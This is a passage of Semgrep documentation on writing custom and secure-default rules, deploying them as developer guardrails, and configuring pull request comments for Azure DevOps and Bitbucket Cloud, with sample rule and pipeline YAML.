2. Replace the directory separators of the relative path with dots.
3. Remove any characters not allowed in a rule ID from the relative path.
### Use a custom rule
**CUSTOM RULES**
See [Write rules](/writing-rules/overview/) for more information on defining custom rules.
Create a `RULE_NAME.yaml` file, and save it in a location accessible to the CLI you're using to run Semgrep. The rule file looks similar to the following sample:
```yaml theme={null}
rules:
- id: is-comparison
languages:
- python
message: The operator 'is' is for reference equality, not value equality! Use
`==` instead!
pattern: $SOMEVAR is "..."
severity: HIGH
```
Run the following command to scan with a local rule file:
```bash theme={null}
semgrep scan --config PATH/TO/RULE_NAME.YAML
```
Semgrep processes rules from hidden directories, such as `dir/.hidden/RULE_NAME.yml`, when you use the `--config` flag.
### Use multiple rules and rulesets simultaneously
You can use the `--config` flag multiple times to run a scan using multiple rules and rulesets. For example, to scan using Semgrep's Python ruleset and a rule that you defined and saved to `RULE_NAME.YAML`:
```bash theme={null}
semgrep scan --config p/python --config PATH/TO/RULE_NAME.YAML
```
Ensure that you update the placeholder values in the sample code snippet accordingly.
# Custom rules for secure guardrails
Source: https://docs.semgrep.dev/secure-guardrails/custom-guardrails-rules
You can create custom Semgrep rules and deploy them as guardrails to enforce your organization's secure coding conventions.
## Prerequisites
* An understanding of [secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep).
* Knowledge of the basic Semgrep rule structure is helpful. See [Rule syntax](/writing-rules/rule-syntax) and [Pattern syntax](/writing-rules/pattern-syntax) documentation.
* Enabling [Code search (beta)](/semgrep-code/editor#code-search-beta) is useful in verifying that your rule matches what you want it to match within your repositories.
## General steps
Create a custom Semgrep rule.
Verify and test that the rule matches the code you want to detect.
Optional: Set the custom Semgrep rule as a secure default.
Deploy the rule as a guardrail in the following developer interfaces: IDE, PR or MR comments, or `pre-commit`.
The following table lists the relevant documentation for each step:
| Steps | References and notes |
| :----------------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Create a custom rule | In addition to the **[required fields](/writing-rules/rule-syntax#required)** of a Semgrep rule, the following metadata fields are useful:
`category`
`confidence`
`likelihood`
`impact`
`subcategory`
Filling out `confidence` and `impact` in particular is useful for filtering rules within the Semgrep web app.
Read the [metadata reference documentation](/contributing/contributing-to-semgrep-rules-repository#fields-required-by-the-security-category). |
| Verify that the rule matches as intended |
See [Testing rules](/writing-rules/testing-rules).
Enable [Code search (beta)](/semgrep-code/editor#code-search-beta) to test the rule on live repositories.
|
| Optional: Set the rule as a secure default | When creating a custom secure default, you must use `category: security` and `subcategory: secure default` values in your rule (see [Secure default snippet](#secure-default-snippet)). |
| Deploy the rule as a guardrail | For PR or MR comments:
[Ensure that PR or MR comments have been set up correctly.](/category/pr-or-mr-comments)
Set the rule to [Comment or Block mode](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes).
For IDEs: Require developers to install the [Semgrep extension for their IDE](/extensions/overview).
For `pre-commit`: [Install and configure Semgrep for `pre-commit`](/extensions/pre-commit).
|
### Secure default snippet
When creating a custom secure default, you must use `category: security` and `subcategory: secure default` values in your rule:
```yaml theme={null}
rules:
- id: some-custom-default
...
metadata:
category: security
subcategory:
- secure default
...
```
# Secure defaults
Source: https://docs.semgrep.dev/secure-guardrails/secure-defaults
**Secure defaults** are inherently secure libraries, frameworks, configurations, or settings. They mitigate common security concerns, such as preventing cross-site request forgery (CSRF) by properly verifying inbound requests in Django or Flask applications. By adopting secure defaults, teams minimize the need for developers to manually implement security measures.
Secure default rules are Semgrep Code (SAST) rules that codify a secure default. The Semgrep team recommends deploying these rules as guardrails because the early adoption of secure defaults helps prevent additional vulnerabilities.
Some secure default rules codify universally secure practices and work out of the box, while others are organization-specific and require customization.
In the following example, the rule detects if a Flask [WTForm](https://flask-wtf.readthedocs.io/en/0.15.x/config/) view is protected from CSRF by default by checking the configuration variable `WTF_CSRF_CHECK_DEFAULT`. If it is set to `False` then the developer must call `csrf.protect()` whenever they handle a requestβa manual process they must remember every time. Thus, `WTF_CSRF_CHECK_DEFAULT=True` is a secure default, which this Semgrep rule enforces.
## Semgrep Code supported languages
Semgrep Code provides secure default rules for the following languages:
* C#
* Python (Flask, FastAPI, and Django frameworks)
Custom rules to deploy secure default rules can be written in any of [Semgrep Codeβs supported languages](/supported-languages).
## View Semgrep secure default rules
View all proprietary Semgrep secure default rules through the ruleset [p/secure-defaults](https://semgrep.dev/p/secure-defaults).
## Next steps
# Secure guardrails in Semgrep
Source: https://docs.semgrep.dev/secure-guardrails/secure-guardrails-in-semgrep
Secure guardrails guide **developers** towards fixing security issues in the early stages of development. By deploying secure guardrails, you can:
* Prevent issues from merging into production or default branches. This improves security posture and reduces the growth of the vulnerability backlog.
* Reduce the time and cost to address issuesβthe earlier a vulnerability is detected, the faster it is to fix.
The deployment of secure guardrails maximizes the impact of early detection by providing **specific** and **actionable** remediation guidance to developers. Customization enables you to set the **amount of alerts** that developers receive.
This document defines secure guardrails and presents an overview of the guardrail deployment process in Semgrep.
Secure guardrails consist of:
**Content**
The content that identifies, explains, and provides remediation guidance for the security issue, such as the Semgrep rule and Semgrep Multimodal (AI) remediation guidance.
Semgrep uses **rules**, which are instructions that detect patterns in your code, such as security issues, bugs, and more. Semgrep generates and reports **findings** to you whenever it finds code that matches the patterns defined by rules.
Semgrep rules also include a **message** that guides remediation and provides other metadata about the vulnerability, such as its OWASP category, which are presented to the developer. Further improvements to this guidance are made through Semgrep Multimodal.
**Interface**
The developer-native **interface** where the developer can see the content and triage or remediate the finding, such as Visual Studio Code (VS Code), pre-commit on CLI, or GitHub pull request comments. See [all supported interfaces](#support-for-developer-interfaces-pre-build).
***Figure**. Semgrep products provide the content of the guardrail, namely its rules and suggested remediations. The [Semgrep web app](https://semgrep.dev/login) provides the means to configure and deploy guardrails: what rules to deploy as well as where and how to alert developers.*
## Qualities of secure guardrails
### Speed
Scans must be quick to successfully integrate into developer workflows without slowing them down.
The following table lists the speed of a Semgrep scan in relation to the environment the scan is run in:
| Interface | Scope of scan | Analysis | Typical speed |
| :-------------------------------------------------------------- | :------------------------------------------------------------- | :----------------------------------- | :--------------- |
| IDE (per keystroke and on save) | Current file | Single-function, single-file | In a few seconds |
| CLI on commit (through [`pre-commit`](https://pre-commit.com/)) | Files staged for commit (cross-function, single-file analysis) | Cross-function, single-file | Under 5 minutes |
| PR or MR comments | All committed files and changes in the PR or MR | Cross-function, single-file analysis | Under 5 minutes |
### Support for developer interfaces (pre-build)
Guardrails should be able to provide remediation guidance and means to triage findings or give feedback within developer interfaces.
Semgrep supports the following interfaces:
| Interface | Supported providers and apps | Triage and remediation actions |
| :----------------------- | :-------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| IDEs | [Visual Studio Code (VS Code)](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) |
Receive human-written remediation guidance.
Ignore or apply a [Rule-defined fix](/writing-rules/rule-defined-fix), if it is available, to findings individually.
Receive human-written and Semgrep Multimodal remediation guidance\*; you can customize the confidence level at which the AI leaves a comment.
Ignore or apply a [Rule-defined fix](/writing-rules/rule-defined-fix), if it is available, to findings individually.
|
| CLI through `pre-commit` | Most terminal emulator apps |
Receive human-written remediation guidance.
Ignore or apply a [Rule-defined fix](/writing-rules/rule-defined-fix), if it is available, to findings individually.
|
*\*To receive Multimodal guidance, check that your source code manager (SCM) is supported: [list of supported source code managers (SCMs)](/semgrep-multimodal/overview#support-and-availability).*
***Figure**. Remediation message provided in VS Code. The message appears when a user hovers over findings, which are marked with squiggly lines. Developers can click the **Quick Fix** button to either ignore the finding or, if there's a Rule-defined fix, apply the fix.*
### Customizability
Every organization has its own secure coding practices. Customizability ensures that the tool can adapt to the unique needs of an organization.
Semgrep provides customizability through:
* Custom rules: You can create custom rules and deploy them as guardrails. Learn more about Semgrep rule structure in [the next section](#remediation-guidance).
* Memories: this feature allows you to add and save additional context when Semgrep Multimodal provides remediation. For example, you can provide organization-specific public keys, which Semgrep Multimodal remembers.
### Remediation guidance
Remediation guidance can come in three forms:
* The rule's `message`
* AI-generated remediation guidance through Semgrep Multimodal
* The rule's `fix`
Much of the remediation guidance originates from the rule itself, which is also used to generate Semgrep Multimodal's advice (if Multimodal is enabled). Learning the basic Semgrep rule structure can help you:
* Customize remediation through your organization-specific rules.
* Writing your own rules provides you with a means to tailor Semgrep to your organization with or without Multimodal.
* Write and deploy guardrails of your own.
The following example illustrates a basic Semgrep rule.
***Figure**. A simple Semgrep rule that illustrates the common fields or keys used to create guardrails. Scroll through the **Rule** pane to view all the fields used to define the rule.*
```yaml theme={null}
rules:
# The name of the rule (required):
- id: fix-and-message-demo-copy
# The language of the target code (required):
languages:
- python
# How severe the impact of the finding is (required):
severity: HIGH
# Description and advice that appears in the IDE,
# PR or MR comment, or CLI (required):
message: >-
You're using an unsafe function.
Prefer safe_function() if possible.
# The matching logic of the rule (required):
pattern: unsafe_function(...)
# A substitution that resolves the finding (optional).
fix: safe_function(...)
# Metadata is optional but helpful to AI-generated remediation.
metadata:
# A category that describes the rule. Typically security:
category: security
# Confidence of the rule to detect true positives:
confidence: HIGH
# How likely an attacker can exploit the issue:
likelihood: HIGH
# Indicates how much damage a vulnerability can cause:
impact: HIGH
# A sub-type under category. Typically vuln, audit, or secure default:
subcategory:
- vuln
```
#### The rule `message`
This description explains **why** the finding was generated and outlines **general advice** on resolving the issue. Messages notify developers in all interfaces where you've deployed a guardrail.
#### Remediation guidance (Semgrep Multimodal)
This is a tailored, **step-by-step** outline of what a developer must change to fix the insecure code.
The guidance makes use of the Semgrep rule, AI's understanding of code, and a prompt tree that incorporates inputs such as:
* Prior triage decisions
* Custom instructions
* Broader context of the file
**INFO**
* Within developer-native interfaces, Semgrep Multimodal only appears in PR or MR comments. Remediation guidance does not appear in the IDE or `pre-commit`.
* You can adjust when remediation guidance is shown to developers based on the level of confidence in the guidance.
#### Suggested fix (Semgrep Multimodal)
When enabled, [Suggested fix](/semgrep-multimodal/overview#suggested-fix) includes suggestions on how to fix the insecure code. Suggested fix does **not** include inline code diffs. For AI-generated code changes, use [Autofix](/semgrep-code/triage-remediation/autofix) from Semgrep AppSec Platform.
#### Rule-defined fix
Sometimes a rule can resolve a finding by replacing an insecure function with a secure one. These rules make use of Semgrep's [Rule-defined fix](/writing-rules/rule-defined-fix) feature, which lets rule-writers provide a human-written deterministic fix that developers can commit directly from a pull request or merge request comment.
For AI-generated code changes that open a draft pull request or merge request, use Semgrep's [Autofix](/semgrep-code/triage-remediation/autofix) feature.
## Deploy secure guardrails
### Prerequisites
#### For AppSec engineers
* You have completed a [Semgrep core deployment](/deployment/core-deployment).
* Your [Policies](https://semgrep.dev/orgs/-/policies) page should have at least one rule.
#### For developers
* You must have a Semgrep account.
* You must have joined your Semgrep organization.
* To use Semgrep with your IDE, you must install the extension for the IDE and sign in to Semgrep through the extension.
* To use Semgrep with `pre-commit`, you must install and set up `pre-commit`, then sign in to Semgrep through the CLI.
Rules can be **configured on a per-product, per-interface basis** to notify developers when a finding from that rule is detected. The customization enables you to manage the amount of notifications a developer may receive. The following table describes how to deploy guardrails for each product and interface:
| Interface | Semgrep Code | Semgrep Secrets | Semgrep Supply Chain |
| :----------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------- |
| IDE | To notify developers of findings from a rule, add the rule to your Policies. | To notify developers of findings from a rule, add the rule to your Policies. | Coming soon |
| PR or MR comments | To notify developers, a rule must be in Comment mode; you can configure your Policies to include only **high confidence, high severity rules**. | To notify developers, a rule must be in Comment mode; you can configure your Policies to include only **high confidence, high severity rules**. | Developers receive comments about any **reachable vulnerability of high or critical severity.** |
| CLI through `pre-commit` | To notify developers of findings from a rule, add the rule to your Policies. | To notify developers of findings from a rule, add the rule to your Policies. | Developers are notified of **all** findings by default. |
## Next steps
* Learn about [secure defaults and their implementation in Semgrep](/secure-guardrails/secure-defaults).
* Create custom rules that you can [deploy as guardrails](/secure-guardrails/custom-guardrails-rules).
# Security
Source: https://docs.semgrep.dev/security
If youβve found a vulnerability in Semgrep, our web application, or broader infrastructure, please email [security@semgrep.com](mailto:security@semgrep.com) and weβll respond promptly. We appreciate your contribution and take all submissions seriously.
# Enable Azure pull request comments
Source: https://docs.semgrep.dev/semgrep-appsec-platform/azure-pr-comments
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
* You have [connected your source code manager](/deployment/connect-scm).
* Optionally, you have [set up SSO](/deployment/sso).
* You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow with [diff-aware scanning](/deployment/customize-ci-jobs/#set-up-diff-aware-scans).
Semgrep can create **pull request (PR) comments** in your Azure DevOps repository. These comments provide a description of the issue detected by Semgrep and may offer possible solutions. These comments are a means for security teams, or any team responsible for creating standards, to help their fellow developers write safe and standards-compliant code.
Automated comments on Azure DevOps pull requests are displayed as follows:
## Conditions for PR comment creation
PR comments appear for the following types of scans under these conditions:
| Type of scan | Product name | Trigger condition | How to set up |
| :----------------------------------------- | :------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Static application security testing (SAST) | Semgrep Code | A comment appears when a finding is generated by a rule in **Comment or Block mode**. This means you can fully customize what comments your developers receive. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection).
2. [Configure comments for Semgrep Code](#configure-comments-for-semgrep-code). |
| Software composition analysis (SCA) | Semgrep Supply Chain (SSC) | A comment appears based on the conditions you explicitly set in a [Supply Chain policy](/semgrep-supply-chain/policies) or when Semgrep detects a [license violation](/semgrep-supply-chain/license-compliance). | To receive Supply Chain comments, complete the steps in [Confirm account connection and access](#confirm-your-semgrep-accounts-connection) and [set up a policy](/semgrep-supply-chain/policies).
To receive license violation comments, [enable dependency search](/semgrep-supply-chain/dependency-search#enable-and-use-dependency-search). |
| Secrets | Semgrep Secrets | A comment appears when a finding is generated by a rule in **Comment or Block mode**. A comment also appears for invalid findings and validation errors if these conditions are set to **Comment or Block mode**. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection).
2. [Configure comments for Semgrep Secrets](#configure-comments-for-semgrep-secrets). |
Comments from Supply Chain scans include the following information:
**Risk**
A description of the vulnerability, including the types of attack it is vulnerable to.
**Fix**
Indicates what versions to upgrade to, if any, that resolves or eliminates the vulnerability.
**Reference**
A link to additional information about the vulnerability from its source, such as the GitHub Advisory Database and the National Vulnerability Database (NVD), if available.
## Steps to set up PR comments
### Prerequisites
Semgrep currently supports repositories hosted by Azure DevOps Cloud.
In addition to finishing the previous steps in your deployment journey, it is recommended to have completed a **full scan** on your **default branch** for the repository in which you want to receive comments.
### Confirm your Semgrep account's connection
PR comments are enabled by default for users who have connected their Azure DevOps project to Semgrep AppSec Platform. Confirm that you have the correct connection and access:
In your Semgrep AppSec Platform account, click **Settings > Source code managers**.
Check that an entry for your Azure DevOps project exists and is correct.
#### Triage through PR comments
Developers can triage Semgrep findings without leaving Azure DevOps by responding to the PR comments authored by Semgrep. To turn this feature on, you must update your source code manager (SCM) connection to use a personal access token that meets the following requirements, because Semgrep requires webhooks for the triage through PR comments feature:
* Has the role set to **Owner** or **Project Collection Admin**
* Has the **Scopes** set to grant **Full access**.
To update your connection between Semgrep and Azure DevOps:
Log into Azure DevOps using an account assigned with either the **Owner** or **Project Collection Administrator** role for your organization.
[Create an access token](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops\&tabs=Windows#create-a-pat). When selecting the **Scopes** for the token, ensure that you select **Full access**.
Return to Semgrep and [ sign in](https://semgrep.dev/login).
Go to ** Settings > Source code managers**, and find your Azure DevOps connection.
Click **Update access token**.
In the **Update access token** dialog that appears, provide the token you created. Click **Update** to save and proceed.
Toggle the **Incoming webhooks** setting on.
Once you have PR comments fully configured, you can update the token provided to Semgrep to a more restrictive one. The scopes you must assign to the token include:
* `Project and Team (Read & write)`
* `Pull Request Threads (Read & write)`
### Set up the configuration file
The logic to determine whether Semgrep runs a full scan or a diff-aware scan on a pull request is defined in the `azure-pipelines.yaml` file.
For PR comments and accurate diff-aware scan analysis to work, you must set two environment variables: `SEMGREP_PR_ID`, which identifies the pull request, and `SEMGREP_BASELINE_REF`, which defines the repositoryβs default branch used as the comparison baseline, such as `main` or `master`. Specifying the default branch helps Semgrep understand the differences between the current branch and the main line of development and to generate meaningful results and PR comments.
```bash theme={null}
pool:
vmImage: ubuntu-latest
variables:
- group: Semgrep_Variables
steps:
- checkout: self
clean: true
fetchDepth: 20
persistCredentials: true
# Replace master with the repository default branch if different.
- script: |
python -m pip install --upgrade pipx
pipx install semgrep
if [ $(Build.SourceBranchName) = "master" ]; then
echo "Semgrep full scan"
semgrep ci
elif [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
echo "Semgrep diff scan"
export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
export SEMGREP_BASELINE_REF='origin/master'
git fetch origin master:origin/master
semgrep ci
fi
env:
SEMGREP_APP_TOKEN: $(SEMGREP_APP_TOKEN)
```
### Configure comments for Semgrep Secrets
In addition to setting up the connection between Semgrep and Azure DevOps, you must assign rules to Comment or Block mode. This customization enables you to:
* Manage the amount of PR comments your developers receive.
* Ensure that only rules that meet your criteria, such as high severity or high confidence rules, and result in findings involving valid secrets produce comments visible to developers, reducing noise.
#### Set rules to Comment or Block mode
The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
Under **Modes **, you can see if you have existing rules in either Comment or Block mode. You can also use the filters to find rules you want to set to Comment or Block.
Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
Click **Change modes**.
Click either **Block** or **Comment**.
You have successfully configured PR comments for Semgrep Secrets.
#### Validation state policies
Validation state policies allow you to define how Semgrep handles the following issues:
* **Invalid findings**: the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. For example, a Semgrep rule that tests GitHub credentials may return an invalid finding if Semgrep can't communicate with an on-premise deployment.
* **Validation errors**: Semgrep was unable to reach the secrets provider to test the validity of the credential, or Semgrep received an unexpected response from the API
To edit the policy for invalid secrets and errors:
In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
Click **Validation State Policies**.
Choose the mode, either Comment or Block, that you want Semgrep to set for **Invalid findings**.
Choose the mode, either Comment or Block, that you want Semgrep to set for **Validation errors**.
**TIP**
Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
### Configure comments for Semgrep Code
In addition to setting up the connection between Semgrep and Azure DevOps, you must assign rules to Comment or Block mode. This customization enables you to:
* Manage the amount of PR comments your developers receive.
* Ensure that only rules that meet your criteria, such as high severity or high confidence rules, produce comments visible to developers, reducing noise.
#### Set rules to Comment or Block mode
The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
In your Semgrep AppSec Platform account, click **Rules > Policies** to enter the **Policies** page. Under **Modes **, you can quickly see if you have existing rules in either Comment or Block mode.
Optional: To configure Semgrep Secrets rules, click the **Secrets** tab.
Optional: Use the filters to quickly find rules to set to Comment or Block.
Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
Click **Change modes**.
Click either **Block** or **Comment**.
You have successfully configured PR comments for Semgrep Code.
**TIP**
Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
If you are using **Azure Pipelines** to run Semgrep, set `SEMGREP_PR_ID` and `SEMGREP_BASELINE_REF` in your pipeline as described in [Set up the configuration file](#set-up-the-configuration-file).
### Configure comments for Semgrep Supply Chain
To configure comments for Supply Chain, you must define a Supply Chain policy. This policy lets you set the specific conditions, such as transitivity and reachability, that trigger a comment. These conditions are unique to Supply Chain findings.
See the [Policies documentation](/semgrep-supply-chain/policies) for more information.
## Optional features
### Customize PR comments
You can customize the comments Semgrep leaves on your PR. Custom comments allow you to direct your teams to the resources they need to handle the vulnerabilities Semgrep identifies in their code.
To provide custom PR comments:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login?).
Navigate to **Settings > General > Global**.
Go to the **Custom PR/MR comments footers** section.
Provide a custom comment for each Semgrep product whose findings you want to generate a PR comment. Semgrep supports HTML, Markdown, and plaintext links in your message.
Click **Save changes**.
### Enable Rule-defined fix in Azure repositories
[Autofix](/writing-rules/rule-defined-fix) is a Semgrep feature in which rules contain suggested fixes to resolve findings.
To enable **Rule-defined fix** for all projects in your Semgrep AppSec Platform organization, follow these steps:
In Semgrep AppSec Platform, go to **Settings > General > Code**.
Click the **Autofix ** toggle to enable this feature.
## Next steps
You've finished setting up a core deployment of Semgrep π.
* Explore recommended tasks after deployment in [ Beyond core deployment](/deployment/beyond-core-deployment).
## Additional references
# Enable Bitbucket Cloud pull request comments
Source: https://docs.semgrep.dev/semgrep-appsec-platform/bitbucket-cloud-pr-comments
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
* You have [connected your source code manager](/deployment/connect-scm).
* Optionally, you have [set up SSO](/deployment/sso).
* You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow with [diff-aware scanning](/deployment/customize-ci-jobs/#set-up-diff-aware-scans).
Semgrep can create **pull request (PR) comments** in your Bitbucket repository. These comments provide a description of the issue detected by Semgrep and may offer possible solutions. These comments are a means for security teams, or any team responsible for creating standards to help their fellow developers write safe and standards-compliant code.
Automated comments on Bitbucket pull requests are displayed as follows:
## Conditions for PR comment creation
PR comments appear for the following types of scans under these conditions:
| Type of scan | Product name | Trigger condition | How to set up |
| :----------------------------------------- | :------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Static application security testing (SAST) | Semgrep Code | A comment appears when a finding is generated by a rule in **Comment or Block mode**. This means you can fully customize what comments your developers receive. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Code](#configure-comments-for-semgrep-code). |
| Software composition analysis (SCA) | Semgrep Supply Chain (SSC) | A comment appears based on the conditions you explicitly set in a [Supply Chain policy](/semgrep-supply-chain/policies) or when Semgrep detects a [license violation](/semgrep-supply-chain/license-compliance). | To receive Supply Chain comments, complete the steps in [Confirm account connection and access](#confirm-your-semgrep-accounts-connection) and [set up a policy](/semgrep-supply-chain/policies). To receive license violation comments, [enable dependency search](/semgrep-supply-chain/dependency-search#enable-and-use-dependency-search). |
| Secrets | Semgrep Secrets | A comment appears when a finding is generated by a rule in **Comment or Block mode**. A comment also appears for invalid findings and validation errors if these conditions are set to **Comment or Block mode**. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Secrets](#configure-comments-for-semgrep-secrets). |
Comments from Supply Chain scans include the following information:
**Risk**
A description of the vulnerability, including the types of attack it is vulnerable to.
**Fix**
Indicates what versions to upgrade to, if any, that resolves or eliminates the vulnerability.
**Reference**
A link to additional information about the vulnerability from its source, such as the [GitHub Advisory Database](https://github.com/advisories) and the [National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln), if available.
## Supported Bitbucket plans
* Any of the following Bitbucket plans are supported:
* Cloud Free
* Standard
* Premium
There are two ways in which you can integrate Semgrep comments into Bitbucket depending on the Bitbucket plan you use:
* **Workspace access token**: If you use the Bitbucket Cloud Premium plan, you can create a workspace access token. This option saves time because you can create one access token for all repositories in the workspace. With one workspace access token, you can bulk-onboard more repositories at once from a whole workspace. However, you can also use the option of a repository access token to onboard repositories one by one.
* **Repository access token**: If you do **not** have the Bitbucket Cloud Premium plan, create a separate repository access token for each repository where you want to use Semgrep. This configuration option is also useful if you have the Bitbucket Cloud Premium plan, but prefer to onboard repositories one by one instead of bulk onboarding.
## Create and add a workspace access token
**PREREQUISITE**
* **Bitbucket Cloud Premium** plan. If you do not have a Bitbucket Cloud Premium plan, create a repository access token.
Create a workspace access token in Bitbucket (only available if you have a Bitbucket Cloud Premium plan):
Create a workspace access token in Bitbucket with **Read** and **Write** permissions for the **Pull requests** scope. Follow the instructions in [Create a workspace Access Token](https://support.atlassian.com/bitbucket-cloud/create-a-workspace-access-token/) in Bitbucket documentation.
Add the workspace access token as a workspace variable with the **Secured** option.
Continue setting up Bitbucket PR comments by finishing the rest of this guide.
## Create and add a repository access token
**INFO**
This section helps you to configure PR comments if you do **not** have a Bitbucket Cloud Premium plan. You can create a separate repository access token for each repository where you want to use Semgrep. This configuration option is also useful if you have the Bitbucket Cloud Premium plan, but prefer to onboard repositories one by one instead of bulk onboarding.
Fulfill these general steps to create a repository access token:
Create a repository access token in Bitbucket with **Read**, and **Write** permissions for the **Pull requests** scope. Follow the instructions in [Create a repository Access Token](https://support.atlassian.com/bitbucket-cloud/create-a-repository-access-token/) in Bitbucket documentation.
Add the repository access token as a repository variable with the **Secured** option.
Continue setting up Bitbucket PR comments by finishing the rest of this guide.
## Enable PR comments in Bitbucket
### Prerequisites
* In addition to finishing the previous steps in your deployment journey, it is recommended to have completed a **full scan** on your **default branch** for the repository in which you want to receive comments.
* You must have a Bitbucket Cloud **workspace access token** or a **repository access token**.
### Confirm your Semgrep account's connection
Confirm that you have the correct connection and access:
In your Semgrep AppSec Platform account, click **Settings > Source code managers**.
Check that an entry for your Bitbucket workspace exists and is correct.
#### Triage through PR comments
Developers can triage Semgrep findings without leaving Bitbucket by responding to the PR comments authored by Semgrep. To use this feature, you must have **Bitbucket Cloud Premium** and update your source code manager (SCM) connection to use a workspace access token. Workspace-level webhooks are not available on Bitbucket Cloud Free or Standard; Semgrep requires webhooks for the triage through PR comments feature.
To update your connection between Semgrep and Bitbucket:
Log in to Bitbucket using an account assigned with the **Product Admin** role.
[Create a workspace access token](https://support.atlassian.com/bitbucket-cloud/workspace-access-tokens/). Ensure that you assign the following scopes to the token:
* `webhook (read and write)`
* `repository (read and write)`
* `pullrequest (read and write)`
* `project (admin)`
* `account (read)`
Return to Semgrep and [ sign in](https://semgrep.dev/login).
Go to ** Settings > Source code managers**, and find your Bitbucket connection.
Click **Update access token**.
In the **Update access token** dialog that appears, provide the new token you created. Click **Update** to save and proceed.
Toggle the **Incoming webhooks** setting on.
Once you've successfully enabled webhooks and the **Default developer triage permissions** toggle is on, developers can triage Semgrep findings from Bitbucket Cloud.
### Set up the configuration file
The logic to determine whether Semgrep runs a full scan or a diff-aware scan on a pull request is defined in the `bitbucket-pipelines.yml` file.
For PR comments and accurate diff-aware scan analysis to work, you must set `SEMGREP_BASELINE_REF`, which defines the repositoryβs default branch used as the comparison baseline, such as `main` or `master`. Specifying the default branch helps Semgrep understand the differences between the current branch and the main line of development and to generate meaningful results and PR comments.
```bash theme={null}
image: semgrep/semgrep:latest
pipelines:
branches:
# Change to your default branch if different from main
main:
- step:
name: Semgrep scan on push
script:
- export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
- semgrep ci
pull-requests:
'**': # This applies to pull requests for all branches
- step:
name: Semgrep scan on PR
script:
- export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
# Change to your default branch if different from main
- export SEMGREP_BASELINE_REF="origin/main"
- git fetch origin "+refs/heads/*:refs/remotes/origin/*"
- semgrep ci
custom:
# Trigger job manually. For cron in Bitbucket, see: https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/#On-schedule
semgrep-manual:
- step:
name: Semgrep manual scan
script:
- export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
- semgrep ci
```
### Configure comments for Semgrep Code
In addition to setting up the connection between Semgrep and Bitbucket, you must assign rules to Comment or Block mode. This customization enables you to:
* Manage the amount of PR comments your developers receive.
* Ensure that only rules that meet your criteria, such as high severity or high confidence rules, produce comments visible to developers, reducing noise.
#### Set rules to Comment or Block mode
The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
In your Semgrep AppSec Platform account, click **Rules > Policies** to enter the **Policies** page. Under **Modes **, you can quickly see if you have existing rules in either Comment or Block mode.
Optional: To configure Semgrep Secrets rules, click the **Secrets** tab.
Optional: Use the filters to quickly find rules to set to Comment or Block.
Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
Click **Change modes**.
Click either **Block** or **Comment**.
You have successfully configured PR comments for Semgrep Code.
**TIP**
Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
### Configure comments for Semgrep Secrets
In addition to setting up the connection between Semgrep and Bitbucket, you must assign rules to Comment or Block mode. This customization enables you to:
* Manage the amount of PR comments your developers receive.
* Ensure that only rules that meet your criteria, such as high severity or high confidence rules, and result in findings involving valid secrets produce comments visible to developers, reducing noise.
#### Set rules to Comment or Block mode
The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
Under **Modes **, you can see if you have existing rules in either Comment or Block mode. You can also use the filters to find rules you want to set to Comment or Block.
Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
Click **Change modes**.
Click either **Block** or **Comment**.
